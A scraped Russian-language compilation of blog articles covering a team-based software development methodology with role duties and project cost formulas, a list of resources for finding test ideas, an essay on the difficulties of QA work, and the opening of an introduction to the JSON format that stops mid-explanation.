Как видно из описания, это тестирование делается тестировщиками.

  1. Регрессионное тестирование (внешнее качество)

Основная цель - это гарантировать, что весь функционал, который работал ранее соответствует бизнес требованиям и не поврежден при разработке нового функционала. Данное тестирование является просто необходимым, если вы хотите выпускать релизы часто и гарантировать, что уже существовавший ранее функционал работает.

Как видно из описания, это тестирование делается тестировщиками.

При существовании тестирования несколько десятков лет, по прежнему, существует сильное непонимание этого процесса. Отсутствие тестирования напрямую сказывается на внешнем качестве продуктов, а это именно то качество, на основе которого пользователь судит о продукте.

Проблема носит настолько масштабный характер, что неверно описывается во многих книгах по менеджменту. Часто тестирование описывается как нечто непредсказуемое и неопределенное по времени, хотя уже есть существующие методики, позволяющие достаточно четко прогнозировать затраты на эту активность.

Проблема носит настолько большой масштаб, что есть компании, которые хвалятся отсутствием у них процессов тестирования на публичных ресурсах и, к сожалению, не подвергаются за это никакой критике.

В отсутствии тестирования у компании растут расходы на поддержку проектов. Вместо реализации нового функционала, разработчики тратят время на выявление и исправление уже выпущенного функционала. Соотношение может даже достигать 10% времени на выпуск нового функционала и 90% времени на исправление багов или доказательство, что ПО работает как надо (а иногда и 0%/100%). Компания несет убытки, сотрудники злятся и увольняются.

Методология разработки

Общее описание

Принципы методологии:

  1. Отсутствие менеджеров или их замен под другими названиями

  2. Автоматизация управленческих активностей

  3. Объединение в команду максимально возможного количества компетенций

  4. Наличие строго определенного шаблона требований с заданной структурой, обязательной для заполнения по каждому продукту

  5. Наличие ролей и четкое описание обязанностей ролей. Все роли должны быть назначены, даже если в команде один сотрудник. Один сотрудник может разделять множество ролей

  6. Продукт на поддержке воспринимается как пассив и на него всегда должны быть траты, вне зависимости от того есть по продукту новые доработки или нет

  7. Получение обратной связи по всем людям с организаторской ролью: технический директор и тимлиды

  8. Работа вне проекта не ведется

Работа методологии обеспечивается следующими ключевыми моментами:

  1. Уменьшение количества страха неудачи, благодаря прозрачности выдачи результата и уменьшения влияния личности людей на ключевые факторы

  2. Так как план перестраивается автоматически, вы в любой момент получаете актуальный план по запросу

  3. При изменении плана так, чтобы это вело к его нарушению, незамедлительно высылаются нотификации

  4. Требования являются командным результатом и работает над ними команда, а не отдельный сотрудник. Требования, как и код, могут находиться в промежуточных состояниях

  5. Отсутствие людей, который работают на несколько команд. Задания поручаются не людям, а командам. Если есть свободный аналитик или архитектор в одной из команд и его хотят привлечь к этой активности, то эта активность целиком передается в команду

  6. Максимальное возможное заимствование хороших вещей из agile методологий, а именно:

  • наличие беклогов

  • наличие спринтов

  • командное планирование

  • проведение demo

  • проведение ретроспективы

  • оценка в story points

  1. Важные отличия от agile (SCRUM):

  • отделенный от команд product owner заменен аналитиком внутри команды, который ведет как часть требований, так и беклог проектов

  • отсутствие работы по методике times & materials

  • наличие team leader

  1. Существуют две должности генерального и технического директора. Генеральный директор является прямым руководителем всех сотрудников и контролирует финансы, в случае если требуется его вмешательство. Технический директор решает технические задачи, которые не могут быть решены в рамках команд

  2. Если что-то не охвачено методологией, то любой сотрудник может это вынести на обсуждение и решить как поступить в вашей компании, если оно не противоречит принципам

  3. У всех user story есть поле проект, с которого определяется финансирование

  4. Методология поощряет использование infrastructure as code

Важность обратной связи в сторону сотрудников:

  1. В компании каждый квартал происходит выдача обратной связи от генерального директора сотрудникам, предварительно собрав анонимные вопросы

  2. Технический директор также выдает обратную связь сотрудникам раз в квартал. Собирает вопросы и отчитывается о том, что сделано

  3. По каждому проекту должна получаться оценка от каждого участвующего сотрудника, такие отчеты должны собираться автоматизировано и со всех вовлеченных, а не с выбранной группы

  4. В компании раз в квартал проводится опрос на удовлетворенность тимлидом и техническим директором

Термины и определения

Продукт комплекс разрабатываемого обеспечения, объединенный одним бизнес направлением. Ключевой особенностью продукта является экстремально долгая поддержка вне проектной деятельности

Проект комплекс работ, который должен быть выполнен на проекте/проектах для появления нового функционала. Ключевой особенностью проекта является его краткосрочность. С проектом должен быть связан контракт с фиксированной ценой, в котором фиксируется скоуп и стоимость работ с внешним или внутренним заказчиком. Проект делится на виды работ, которые должны быть в обязательном порядке пройдены: аналитика, разработка, тестирование и внедрение. В частном случае для каждого вида работ может быть заключен отдельный контракт

Команда базовая единица для планирования в компании. Сотрудники компании объединяются в команды. Вся работа в компании подстраивается под этот факт. В силу разных причин, часть сотрудников нельзя объединить в команду, для таких сотрудников можно сделать исключение

Роль в компании есть набор ролей, за которыми закреплены определенные права и обязанности. Роль обязательно должна быть кому-то назначена, даже если в компании один человек. Если одному человеку назначено несколько ролей, то он должен обязанности каждой роли отдельно, для чего есть определенные инструменты позволяющие сотруднику переключаться между ролями

Беклог активностей компании беклог, финансируемый в процентной части от всех проектов, призванный выносить общие части из разных продуктов в независимые части. Также используется для заведения задач на поднятие версий библиотек и переход на единые библиотеки, в случае изменения используемых технологий. Наполняется командой или техническим директором. Контролируется техническим директором

Беклога продукта беклог куда заводятся задачи, относящиеся к развитию системы, но не являющиеся необходимыми для выполнения проекта. Беклог служит для исправления определенных видов технического долга, который будет появляться (инкрементально накапливаемая архитектурная ошибка, замедление производительности и т.п.). Наполняется командой. Контролируется тимлидом

Беклога проекта беклог, который наполняется задачами необходимыми для реализации конкретного проекта. беклог наполняется аналитиком или командой. Контролируется аналитиком

Беклог команды - беклог, отображающий все user story команды в порядке приоритета. Общий беклог команды отображающий любые активности команды в порядке их приоритета

Примечание: по факту, любой беклог представляет собой срез данных компании в виде user stories. Все эти user story существуют в компании, просто в разное время нужно анализировать разное их подмножество

Роли и обязанности

  • Тимлид (внутри команды)

Основная цель:

  • Отвечает за то, чтобы производительность продуктовой (feature) разработки всегда была на максимальном уровне

Полномочия:

  • Контролирует, что в требованиях отсутствуют части, которые могут в будущем замедлить выпуск нового функционала. Факторы, которые могут замедлить новый функционал: возможное увеличение количества инцидентов от заказчиков; необходимость ручных операций; необходимость привлекать разработку к получению информации в случае проблем и т.п. Может остановить взятие требований в работу, если они нарушают эту метрику

  • Контролирует отсутствие технического долга, который закладывается сразу в новые задачи. При согласовании временного решения, контролирует его исправление в ближайших последующих спринтах. Имеет права требовать исправление этого вида технического долга и включать задачи на исправления в ближайшие спринты

  • Собирает и агрегирует идеи по улучшению от участников команды. Включает их в технический долг развития проекта. Данные задачи могут браться в спринт по согласованию с командой, при условии, что они не нарушают метрик по выпуску продукта в запланированные по каждому проекту сроки

  • Инициирует обсуждение с архитектором о выделении части проекта в отдельный проект, если поддержка одного проекта стала сложна в поддержке и развертывании

Обязанности:

  • Смотрит задачи на доске в статусе усложнение поддержки, где:

    • контролирует, что изменения по задаче не увеличивает затраты на поддержку проекта

    • проверяется достаточное логирование по задаче

    • можно ли уменьшить кодовую базу воспользовавшись сторонней библиотекой

  • Выносит на генерального директора рекомендации по повышению должности или зарплаты сотрудников команды

  • Хвалит сотрудников на регулярной, ежеспринтовой основе. Отчитывается за это перед генеральным директором

  • Ведет беклог продукта

  • Контролирует, что никто не выходит за рамки полномочий назначенных ролей

  • Отслеживает, что нет бездельничающих сотрудников или сотрудников распространяющих недовольство. В случае обнаружения таких сотрудников сразу же выдает им отрицательную обратную связь, в случае отсутствия улучшений в течение двух спринтов, эскалирует проблему на генерального директора

  • Транслирует в команду информацию о значимости сотрудников и их влияние на решения компании

  • Отвечает за старт итерации и за поведение итогов итерации

  • Согласует новые технологии с техническим директором, если это приводит к усложнению тестового контура от стандартного контура для компании (например, есть контур разворачивающий код на C#, а команда хочет программировать на Go и это потребует доработки тестового контура, в сторону увеличения поддержки и времени деплоя проекта)

  • Если технологии стоят дополнительных денег, они вносятся в план проекта и согласуются генеральным директором. При необходимости дополнительно согласуется с генеральным директором

  • Выслушивает жалобы от команды, организует команду на решение проблем или ищет того, кто может это решить

  • Отпускает сотрудников, если им нужно отпроситься

  • Контролирует, что задачи на тех.долг не включаются в скоуп функциональных задач, действительно необходимых заказчику

Ограничения:

  • Не является руководителем команды

  • Командный архитектор (внутри команды)

Обязанности:

  • Смотрит задачи на доске в статусе Архитектура, где:

    • контролирует, какие методы действительно должны быть публичными в любых классах на всех уровнях

    • Контролирует понятность любого публичного API во всех классах так, чтобы не требовалось входить в функцию, чтобы понять что она делает, а также одинаковые подходы при создании параметров публичных методов

    • Контролирует single responsibility principle по всем крупным частям системы

    • Контролирует ослабление связанности между библиотеками/компонентами

    • Отслеживает появление условных ветвлений в коде и, если они неуместны, то рекомендует паттерны состояния или стратегии

    • Проверяет, что в БД в столбцах хранится именно то, что следует из названия

    • Смотрит должно ли значение быть вынесено в настройки для изменения в отсутствии пересборки проекта или быть помещено в код для уменьшения роста количества настроек

  • Контролирует, какие части системы могут быть вынесены в независимые модули (NuGet пакеты) и переданы на поддержку другой команде, даже если сейчас они используются только в одном проекте. В случае нахождения таких частей, эскалирует это на технического директора для включения этих задач в специальный беклог

  • Ведет секцию в общем документе требований по секции архитектуры

  • Смотрит нужно ли разделять монолит на микросервисы или микрофронтеды или монолит будет выгоднее. Так как микрофронтенды ведут к удорожанию тестового контура, их необходимость обсуждается с техническим директором и утверждается генеральным директором, после включения изменений в план

  • Пишет документ "стратегия развития проекта", который на основе пришедших доработок определяет тренд пожеланий с перспективой на будущее, а также формирует понимание, что точно не ложится в концепцию развития проекта и какое требование заказчика по этой причине должно быть отклонено или вынесено за основной контур продукта

Ограничения:

  • Не является руководителем команды

  • Разработчик

Обязанности:

  • Смотрит задачи на доске в статусе code review

  • Участвует в выработке требований

  • Разрабатывает программу

  • Пишет unit тесты и интеграционные тесты

  • Участвует в доработке тестового фреймворка для тестировщиков, упрощая автоматизацию тестирования

  • Добавляют задачи для user stories при планировании или user stories в технический беклог

Тестировщик (внутри команды)

Обязанности:

  • Участвует в выработке требований

  • Пишет тест кейсы

  • Автоматизирует тест кейсы на основе тестового фреймворка, который пишут разработчики

  • Отвечает за контроль, что ПО удовлетворяет минимальному внешнему качеству

  • Аналитик (внутри команды)

Обязанности:

  • Общается с заказчиком

  • Привлекает команду к выработке решения по требованиям заказчика, если в этом есть необходимость

  • Участвует в выработке требований

  • Отвечает за систематизацию того чего на самом деле хочет заказчик (не с тем, что говорит заказчик) в виде части секций требований

  • Ведёт беклог проекта

  • Делает приоритезацию

  • Устанавливает на user stroy признаки required, desired, optional

  • Фиксирует всю информацию при общении с заказчиком или в требованиях или в скоупе проекта

  • Определяет стейкхолдеров со стороны заказчика (кто на самом деле влияет на проект со стороны заказчика)

Ограничения:

  • Не является руководителем команды

  • Документалист (внутри команды)

Обязанности:

  • Пишет выходную документацию по проекту, цель которой снизить возможную поддержку проекта со стороны разработки

  • Отвечает за перевод документации на разные языки

  • Технический директор (вне команд)

Обязанности:

  • Отвечает за отсутствие дублирования решений в проектах

  • Наделяется функцией enterprise архитектора

  • Инициирует поднятие версий сборок по проектам, а также отвечает за беклог на выделение части системы

  • Формирует задачи по плану обновления, которые включаются в беклог активностей компании

  • Утверждает новые технологии в перспективе усложнения работы тестового контура

  • Проводит отчет перед сотрудниками раз в квартал

Ограничения:

  • Не является руководителем команды

  • Не отвечает за найм и не участвует в этой активности

  • Генеральный директор (вне команд)

Обязанности:

  • Отвечает за финансовые показатели компании

  • Отвечает за прибыльность

  • Принимает решение о повышении должности или зарплаты сотрудника на основе рекомендаций тимлида, если это сотрудник команды

  • Для сотрудников вне команд, решения принимаются непосредственно генеральным директором, при индексации зарплат, например раз в полгода или год

  • Отвечает за финальное собеседование. На собеседовании определяется соответствие statements компании и определение роли по DISC. В случае занятости может делегировать эту роль компетентному сотруднику HR

  • Принимает решение в случае, если после изменения скоупа показатели проекта нарушились, и план не был исправлен командой вовремя

  • Опрашивает тимлида на предмет появления ядовитых сотрудников, выводит их за пределы команд и позже за пределы компании, основываясь на результатах полугодовых аттестаций или используя другие методы, в соответствии с законодательством конкретных стран

  • По возможности, находится в одном пространстве с сотрудниками или в кабинете, из которого можно наблюдать курилку

  • Контролирует по отчетам, что задачи тех.долгов не превышают заложенный процент в продукте

  • Проводит отчет перед сотрудниками раз в квартал

  • Команда

Обязанности:

  • Отвечает за сроки, которые фиксируются после составления плана

  • Организует процессы DevOps в соответствии с требованиями

  • Производится командная оценка задач

  • Команда следит за тестовой инфраструктурой (мониторит делаются ли бекабы баз, есть ли свободное место на дисках, достаточно ли ресурсов на тестовых контурах)

  • Оценка работы технического директора на основе запрашиваемого опроса раз в квартал

  • Оценка работы тимлида на основе запрашиваемого опроса раз в квартал

  • Вне ролевые должности

Есть ряд должностей, которые находятся вне ролевой модели. Например, системный администратор (администрирование багтрекенга, настройка электронной почты)

Работа над проектным беклогом. Планирование проекта

  1. Определение потребности создать проект. Для этого можно использовать разные подходы:

  • выдвигаем гипотезу, которая требует проверки

  • получили запрос от заказчика на реализацию проекта

  • получили пожелание по доработке существующего проекта

  • вышли с идеей создание нового внутреннего проекта в компании

  1. Проект начинает планироваться в отдельной итерации

  2. Создается карточка проекта, которая свяжет все user stories одним проектом

  3. После создания карточки проекта, выставляется признак начала работы над новым проектом. При этом уходит нотификация к генеральному директору

  4. Генеральный директор ставит разрешение на начало аналитических работ

  5. Определяются команды, которые будут задействованы в проекте. На каждую вовлеченную команду создаются user story на сбор первичных данных по новому проекту и user story на получение экспертной оценке работ. Для любого продукта создаются требования. Шаблон требований можно посмотреть в Приложении 1.

  6. Создаются user stories на заполнение специальных секций требований архитектором и тимлидом

  7. Требования будут меняться, поэтому нет смысла их прорабатывать до совсем мелких деталей. Однако детализация должна быть на достаточном уровне, чтобы можно было посмотреть общий объем работ

  8. User stories по аналитике и первичной оценке оцениваются командой в SP, в соответствии с Приложением 2, и переводятся в итерацию команд

  9. При помещении задач в итерацию команд, будет пересчитан отчет по milestone в соответствии с Приложением 3. В случае если генерального директора не устраивают сроки работ, он может сделать новую приоритезацию user stories в беклогах команд

  10. После завершения аналитики по проекту, принимаются решения:

  • Проект признается нереализуемым, противоречащим стратегии развития продукта, не рентабельным и т.п. В этом случае проект на этой фазе закрывается

  • Проект признается рентабельным, при этом с заказчиком была заключена договоренность на отдельную оплату аналитической фазы. В этом случае проект закрывается и создается новый проект на продолжение работ

  • Проект признается рентабельным, но не было заключено отдельного договора с заказчиком на отдельное выполнение аналитики. В этом случае работы продолжаются в рамках текущего проекта

  1. В карточке распределяются люди из каждой команды, где каждому члену команды назначается одна или несколько ролей. Все существующие командные роли должны быть распределены

  2. Аналитик создает user story по реализации функционала на основе требований

  3. Требования и user story не обязаны соответствовать друг другу. Не нужно создавать отдельные разделы в требованиях, которые соответствуют один в один user story. Требования курируются аналитиком, им же и контролируется, что аналитическая информация полностью отражена в user story. Требования и user story все равно в какой-то момент разойдутся. Важно понять, что требования нужны для хранения информации о последнем статусе продукта в удобном для восприятия и хранения информации для человека виде. А user story нужны для разработки части функционала. Попытка тут сэкономить и объединить эти два понятия позже приведет к более сложному пониманию аналитического документа

  4. После создания аналитиком user stories, они оценивается в соответствии с Приложением 2.

  5. Если после создания и оценки user story в вас есть user story, превышающие 40 story points, то такие story должны будут разделены в будущем, перед взятием в работу

  6. По факту завершения разбиения проекта на продуктовый беклог из user stories выставляется признак завершения создания скоупа задач. Так как в команду входят аналитики, командные архитекторы, разработчики, тестировщики, DevOps, документалисты, то подразумевается, что участники команды следят за тем, чтобы трудоемкость их работ была отражена в оценке

  7. При выставлении в карточки проекта признака завершения создания скоупа, происходит автоматический расчет пиковой стоимости проекта в соответствии с Приложением 3.

  8. После этого автоматически формируется отчет, который уходит генеральному директору, который смотрит на цель задачи, скоуп, стоимость и принимает решение о продолжении работ или остановке работ

  9. Если проект оценен в более 4 месяца работ, то проект делится на части и для каждой части создается своя карточка

  10. После этого созданные user story смотрятся в разрезе командного беклога

  11. При рассмотрении задач в командном беклоге, они размещаются их в соответствии с приоритетом, определенным командой (если не определен приоритет, то user story по новому проекту размещаются в конце беклога).

  12. После изменения приоритезации задач или выставления новым задачам итерации командного беклога, происходит перерасчет отчета в соответствии с Приложением 4.

  13. После получения первой стоимости проекта, они фиксируется в отчете как максимальная. В дальнейшем при разбиении user story, переоценке или добавлении новых user story будет делаться переоценка работ в соответствии с Приложением 3.

  14. Если в будущем, при работе с user stories, при построении автоматизированного отчета, будет обнаружено, что оценка скоупа user stories по проекту превысила изначальную оценку проекта, то команда будет оповещена о необходимости уменьшить скоуп проекта. В случае если команда не сделала это в течении заданного периода (по умолчанию 2 недели), будет выслано сообщение генеральному директору о необходимости вмешаться

Планирование спринта

Планирование нового спринта в целом происходит так же как и в методологии SCRUM

Закупка оборудования

  1. Генеральный директор может запросить данные по закупке нового оборудования

  2. Далее должна быть выполнена автоматическая рассылка тимлидам для сбора этой информации по командам

  3. При создании нового проекта генеральный директор также запрашивает информацию о необходимых закупках

Приложение 1. Шаблон требований

Описание продукта

Примечание раздела: в данном разделе указывается общая бизнес цель продукта

Внимание: если есть дизайн графической части, то он делается отдельно от требований, без ссылок на страницы прототипа. Связка требований и прототипа делается в рамках user stories.

Функциональные требования

Бизнес цель <Название первой цели>

Примечание раздела: тут описываются части продукта имеющие отдельную бизнес цель. Это может быть отдельный раздел пользовательского интерфейса или выставление публичного API. В разделе также описываются бизнес ветвления, например, ожидается, что вы получаете данные из источника А, проводите проверку данных и записываете данные в БД. Логично предположить, что есть успешный путь, когда все хорошо, и есть неудачные кейсы именно с точки зрения бизнеса, например, когда валидация не прошла. Все это описывается в требованиях к бизнес цели. Если есть повторяющиеся в других целях моменты, то они должны быть заново описаны в каждой цели.

Используемые сочетания клавиш

Архитектурные детали

Примечание подраздела: тут архитектор описывает верхнеуровневые детали, относящиеся к бизнес цели. Например, как будет выглядеть внешний API или как именно будет реализовываться безопасность передачи данных. Если можно сделать какую-то схему, вместо текста, то лучше разместить схему. Statefull или stateless система, как масштабируется и ведёт себя в многопоточный среде. Как система реагирует на новые изменения?

Особенности поддержки функционала

Примечание раздела: данный раздел ведётся тимлидом. Тут, например, смотрится как будет выполнен переход со старой функциональности на новую, требуется ли поддерживать одновременно старый и новый функционал и т.п.

Бизнес цель Название второй цели

<тут должно быть описание бизнес цели>

Бизнес цель Название третьей цели

<тут должно быть описание бизнес цели>

Личности согласно Алану Куперу

Нефункциональные требования

Требования к производительности

Требования к безопасности

Поддерживаемые устройства

Примечания раздела: в данном разделе описываются все поддерживаемые на текущий момент устройства и версии браузеров. Например, если вы будете делать адаптивную верстку сайта, то она делается от меньшего устройства к большему, если позже внести корректировку, то будет сложно внести корректировки.

Мониторинг

Примечания раздела: тут должны быть описаны механизмы мониторинга продукта на продуктовой среде (отзывчивость определенных API, наличие ошибок в логах, точные ответы при посылке определенных запросов, свободное место на дисках, загрузка процессора и т.п.)

Развертывание и обновление системы

Примечание раздела: тут описывается как система должна разворачиваться на тестовых и продуктовой среде. Разворачивается система копированием БД или у системы есть полноценный установщик, или система разворачивается набором скриптов с дополнительными ручными действиями. Если система развертывается с нуля, то какие данные должны быть предзаведены в БД.

Continuous integration

Примечание раздела: данный раздел ведется архитектором или тимлидом. Раздел описывает какие шаги есть при развертывании системы на тестовых средах, какие тесты и как выполняются, как происходит разворачивание системы.

Нефинансовые показатели

Примечание раздела: в этом разделе описываются нефинансовые показатели, которые должны достигаться, например:

  • Удовлетворенность пользователей

  • Eptda

  • Конверсия

  • Воронка продаж. Сколько людей заходили на сайт для просмотра ПО и сколько купили

  • Сколько одна подписка прожила (сколько людей ушли)

Тестирование пользователями

История изменений документа

Версия

Описание изменений

1.0

Создание документа

1.1

Добавлена бизнес цель Заведение данных в систему

Приложение 2. Соответствие SP и часов

Story point (SP)

Hours (4*n + n), ч.ч.

1

4

3

15

5

25

8

40

13

65

21

105

34

170

55

275

Трудоемкость - параметр оцениваемый в story point, который означает затраты энергии при реализации задачи. Важно понимать, что задача может быть трудоемкой из-за высокой сложности, но она также может быть трудоемкой по причине несложных но затратных действий для реализации. Очевидно, что трудоемкость можно перевести в часы (несмотря на рекомендации этого не делать).

В данном случае перевод SP в часы, позволяет связать беклог команды с календарем, а значит строить автоматизированные отчеты с планами поставок.

Первая user story выбирается из расчета того, что она будет делаться 4 часа. Таким образом происходит настройка под систему. Далее задачи оцениваются в story points, в зависимости от того насколько они более трудоемкие по прогнозам команды.

Приложение 3. Расчет стоимости проекта

Алгоритм:

  1. За основу расчета берутся оценки feature в story point, которые конвертируются в часы согласно Приложению 2.

  2. По всем user story проекта считается общее количество часов, если в карточке проекта есть признак начала расчета проекта

  3. Первая рассчитанная оценка берется за максимальную (расчет можно сбросить снова через карточку проекта, тогда он снова начнется с начала)

  4. После получения первой оценки от нее берется процент для беклога продукта (15%) и беклога активностей компании (10%). Проценты могут варьироваться, но стоимость беклогов техдолга не может приближаться к цене зачал заказчика и, тем более, превышать его

  5. Таким образом получается итоговая стоимость всего проекта, которая фиксируется как максимальная и далее будет фигурировать в отчете

  6. Позже user story беклога проекта, превышающие определенное число story point будут разбиваться на более мелкие. Также возможно будут добавляться новые user story. В случае превышения максимальной оценки, при построении отчете будет зафиксировано превышение максимальной цены

  7. В случае превышения максимальной цены проекта, команде будет выслано уведомление и дано время (по умолчанию время до завершения спринта, если только он не заканчивается) для корректировки скоупа

  8. В случае если команда не отреагировала за указанный период, будет выслано уведомление генеральному директору, где будет предложено уменьшить скоуп проекта или инициировать выделение новых изменений в отдельный проект. Также есть вариант перепланировать проект и начать отсчет заново

  9. User story по техдолгу считаются отдельно. В случае превышения лимита на эти беклоги, они корректируются в сторону уменьшения. Альтернатив тут нет

  10. К стоимости проекта добавляется бюджет на правку ошибок

  11. Если нужно купить оборудование или ПО для выполнения проекта, то оно тоже включается в бюджет

  12. Кроме того нужно установить коэффициенты для выделения денег на аренду офиса, возможные повышения зарплат, премию и чистую прибыль

Приложение 4. Отчет по milestones

Алгоритм:

  1. За основу расчета берутся оценки user stories в story point, которые конвертируются в часы согласно Приложению 2.

  2. За основу расчета берется производительность команды. Если изначально производительность неизвестна, то она может быть выставлена по предположению и далее корректироваться

  3. Беклог команды считается приоритизированным

  4. Беря за основу производительность команды и оценку в story point можно автоматически рассчитать дату завершения проекта

  5. При первом построении отчета, фиксируется определенная дата завершения проекта

  6. В случае, если дата завершения проекта сдвигается, высылается уведомление генеральному директору

  7. Если генеральный директор не согласен со сдвигом даты, генеральный директор может инициировать изменение приоритетов user story в командном беклоге

Подробнее..

Где брать идеи для тестов (подборка полезных ссылок)

23.10.2020 16:09:30 | Автор: admin
Вот выдали нам (тестировщикам) функционал и сказали:

Держи, тестируй!

А с чего начать? Для новичка это может быть целой проблемой. Особенно когда нет подробного ТЗ. Поэтому я решила создать эту подборку, где можно поискать вдохновение!

Где брать идеи







Статьи


Они обычно называются классы эквивалентности для..., или чек-лист для..., или чит-лист для..., или как-то так. Вот вам мои подборки:


Текст

Тестирование текстового поля

Тестируем поля логин/пароль

Тестирование полей ввода


Число

Классы эквивалентности для строки, которая обозначает число


Дата

Классы эквивалентности для строки, которая обозначает дату


Файлы

Это еще не конец!


Мобильные приложения

Чеклист для тестирования мобильных приложений


Остальное

Это еще не конец! в этой статье Michael Hunter рассказывает про разные методы ввода, файлы, сетевое соединение, сообщения об ошибках, доступность, меню

Юлия Iuliia. Схемы транслитерации если ваша система что-то транслитерирует, то будет полезно.


Чит-листы в Ситечке


В системе Ситечко есть чит-листы, это как раз шаблоны для переиспользования (подробнее можно почитать тут).

Чтобы их увидеть, нужно:

  • войти в систему;
  • перейти в раздел Чек-листы;
  • выбрать вкладку Чит-листы.



Ну и всё, дальше уже выбираете нужный вам.


Работы студентов


Я собираю хорошие работы студентов своей школы для начинающих в конфлюенсе в открытом доступе (ссылка доступна без авторизации). Эти работы помогают другим студентам:

  • новые идеи для тестирования;
  • примеры оформления;

Идеи для тестов советую брать в разделах:




Плагины для автозаполнения полей


Например, тот же Bug Mugnet. Установили плагин, ставим курсор на любое поле ввода, и вдохновляемся. Вот, например, подборка для валидных емейл-адресов:



См также:
Bug magnet аддон тестировщика для заполнения полей мое описание аддона в блоге (плюс кросс-ссылки)


Исследовательские туры


Туры из книги James A. Whittaker это когда ты выбираешь какой-то один тур, засекаешь время, и выполняешь задачи тура. Фишка в том, что в каждом туре подробно рассказано, что именно тебе нужно делать.

Они помогают находить баги. Но и мысли для тестирования тоже подкидывают. В какую сторону думать, что проверять можно найти там вдохновение!

***************************

Если у вас есть другие полезные ссылки на чек-листы и идеи для тестирования, скидывайте в комментарии!

PS больше полезных статей ищите в моем блоге по метке полезное. А полезные видео на моем youtube-канале
Подробнее..

Сложно ли работать QA

19.02.2021 00:11:18 | Автор: admin

Сразу напрашивается вопрос, а кто спрашивает?


Воображение рисует студента последнего курса технического ВУЗа, знания которого более менее свежи, информации дано много, программирование потрогано на нескольких языках, но вот оно не притягивает. Вот стартануть будет в профессии легко, дообучения будет много, но и рост знании будет шустрыи. Работать будет становиться все сложнеи, но потому , что знания позволят залезть глубже в работу программистов, в продукт. Бекграунд позволит предположить вариантов проблем больше, но и наидено будет не мало. Не будет легко, но легко было бы и не интересно.

Дальше представляю слесаря монтажника или веселого бармена с опытом работы 10 лет, которому надоела низкая зарплата, когда много рассказов про IT с перспективами и частыми премиями. Вот тут размещая резюме первыи подвох. А не ты один этот рассказ слышал, и там оказывается много народу хотят, но твое резюме даже не просмотрено особо. Дальше какие то платные, бесплатные курсы, начинаешь хотя бы краем глаза понимать куда ты вообще собираешься. Дальше приглашение, собеседование, отказ без пояснении. Думаешь, что не так, может плохо ответил, не так сел, не то рассказывал, но причину не сказали. Дальше бросаешь это дело и возвращаешься к старому ремеслу, или с новыми силами поднимаешься и идешь на еще тонну собеседовании. Наконец приглашение, долгожданный Оффер. На работе тоже много нужно, продолжаешь фигачить и учиться, и не звучит это все легко.

Если уж ударяться в краиности, то дальше воображаем человека лет 50-55, работал где-то, даже программировал , но, например, на чистом C. Новое не изучал, но вот подумал, что надо что-то менять, попробовать. Честно в резюме описываешь опыт , весь сугубо техническии. Но откликов нет, все же понимают, что придется обучать. Опыт привлекает, но возраст отпугивает , и не понимают, сможет ли такои человек обучаться новому и быстро. А тут уж даже если и устроится человек, то простым его путь не вижу.

Получается, что путь легким в данных ситуациях не выглядит. Но если смотреть прицельно, то а кто спрашивает?

Если подняла до этого абстрактныи вопрос, сложно ли работать в целом, то дальше хочу рассмотреть конкретные сложности.

Их можно мне кажется перечислять очень долго, уже не говоря о том, что у каждого они свои. То, что проблема для одного тестировщика, совсем не проблема для другого.

Не знание какого-то инструмента.

Часто приходится работать с каким новым инструментом. Либо его использует вся команда, а ты видишь первыи раз. Либо надо было какои-то внедрять, кто-то изучил и выбрал, а ты уже поставлен перед фактом. Второи вариант удобнее, так как изучивший не только должен подготовить какие-то инструкции и демонстрации, но и совместно внедряя, будет подниматься много вопросов, которые сразу же будут решаться. В первом варианте приходится делать большинство исследовании самому, и повезет, если внедряя, параллельно написали инструкции и гаиды, что делается не всегда. И если есть хороший ментор или наставник, то один раз он может помочь и настроить, и провести какие то первые тесты вместе. Рекомендую искать инструкции по настроике и использованию на официальном саите. Вроде простая рекомендация, но первым делом идут в гугл, а я частенько замечала копирования просто с официального сайта. И возможно его инструкций будет с головой хватать для решения всех вопросов, как минимум на первых порах.

Если не устроило, то поискать в интернете. Еще бы дала совет, что если за полчаса, максимум час не смогли решить какои-то вопрос, застряли на каком то моменте, и не двигаетесь вперед, то всегда спросите. Умение спрашивать очень нужное и полезное. Всегда уточните, кому можно адресовать вопросы, и активно пользуитесь, вопросов глупых не бывает. Но надо только сформулировать, чтобы сэкономить время отвечающего. Резюмируя скажу, что не видела еще инструмента, в котором не смогла разобраться, просто иногда может занять больше времени, чем хотелось бы.

Одним из сложных моментов я бы ещё назвала неоднозначные формулировки в описании ТЗ (техническое задание, по которому тестируем).

Опытные QA умеют читать между строк, понимают зачем это бизнесу, и решит ли их запросы, да и целом удобно ли будет пользоваться полученным продуктом.

Все это позволяет сократить время на уточнения по тех заданию. Но как же много я вижу потерь времени на то, что тестировалось совсем не то, что изначально планировалось, как же много претензий к качеству, когда задача была поставлена так, что понять её можно двумя разными способами.

Часто решением проблемы однозначного понимания занимается проджект проекта. Хотя это цель всей команды разработки. Главное, определить места, которые могут быть поняты неоднозначно. Вся команда заинтересована на первых же этапах выяснить то, что на самом деле мы делаем и зачем. И чтобы это поняли все участники разработки (от постановщика до тестировщика).

Про разные проблемы и сложности в работе QA можно долго рассказывать, попробовала выделить какие то совсем больные точки, на которые я натыкалась. Если хоть немного было интересно, то могла бы продолжить.

Подробнее..

Что такое JSON

02.05.2021 16:16:26 | Автор: admin

Если вы тестируете API, то должны знать про два основных формата передачи данных:

  • XML используется в SOAP(всегда)и REST-запросах(реже);

  • JSON используется в REST-запросах.

Сегодня я расскажу вам про JSON.

JSON (англ. JavaScript Object Notation) текстовый формат обмена данными, основанный на JavaScript. Но при этом формат независим от JS и может использоваться в любом языке программирования.

JSON используется в REST API. По крайней мере, тестировщик скорее всего столкнется с ним именно там.

См также:

Что такое API общее знакомство с API

Что такое XML второй популярный формат

Введение в SOAP и REST: что это и с чем едят видео про разницу между SOAP и REST

В SOAP API возможен только формат XML, а вот REST API поддерживает как XML, так и JSON. Разработчики предпочитают JSON он легче читается человеком и меньше весит. Так что давайте разберемся, как он выглядит, как его читать, и как ломать!

Содержание

Как устроен JSON

В качестве значений в JSON могут быть использованы:

  • JSON-объект

  • Массив

  • Число (целое или вещественное)

  • Литералы true (логическое значение истина), false (логическое значение ложь) и null

  • Строка

Я думаю, с простыми значениями вопросов не возникнет, поэтому разберем массивы и объекты. Ведь если говорить про REST API, то обычно вы будете отправлять / получать именно json-объекты.

JSON-объект

Как устроен

Возьмем пример из документации подсказок Дадаты по ФИО:

{  "query": "Виктор Иван",  "count": 7}

И разберемся, что означает эта запись.

Объект заключен в фигурные скобки {}

JSON-объект это неупорядоченное множество пар ключ:значение.

